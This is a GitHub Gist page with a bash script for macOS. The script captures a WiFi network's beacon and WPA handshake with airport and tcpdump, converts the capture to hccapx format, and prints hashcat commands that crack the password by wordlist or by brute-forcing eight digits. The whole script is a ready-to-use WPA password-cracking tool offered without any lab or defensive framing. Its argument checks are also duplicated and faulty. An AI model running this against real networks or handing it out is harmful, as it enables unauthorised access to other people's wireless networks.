Last active
July 29, 2019 18:58
-
-
Save maka-io/f6e90e8e84f34f189643fbdc9dbd314a to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
if [ "$*" == "" ]; then | |
echo "No arguments provided" | |
exit 1 | |
fi | |
if [[ $# -eq 0 ]] ; then | |
echo 'Provide a bssid' | |
exit 1 | |
fi | |
if [[ $# -eq 0 ]] ; then | |
echo 'Provide a channel' | |
exit 1 | |
fi | |
BSSID=$1 | |
CHANNEL=$2 | |
sudo airport -z | |
sudo airport -c$CHANNEL | |
sudo tcpdump "type mgt subtype beacon and ether src $BSSID" -I -c 1 -i en1 -w beacon.cap | |
sudo tcpdump "ether proto 0x888e and ether host $BSSID" -I -U -vvv -i en1 -w handshake.cap | |
mergecap -a -F pcap -w capture.cap beacon.cap handshake.cap | |
cap2hccapx.bin capture.cap capture.hccapx | |
rm -f beacon.cap handshake.cap capture.cap capture.cap | |
echo "Now you can run: hashcat -m 2500 capture.hccapx ~/.wordlist/..." | |
echo "Or hashcat -m 2500 -a3 capture.hccapx ?d?d?d?d?d?d?d?d" | |
echo "d = digit , l = lowercase letter, u = uppercase letter, ?s = special chars, ?a = ?l?u?d?s, ?b = 0x00 - 0xff" |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment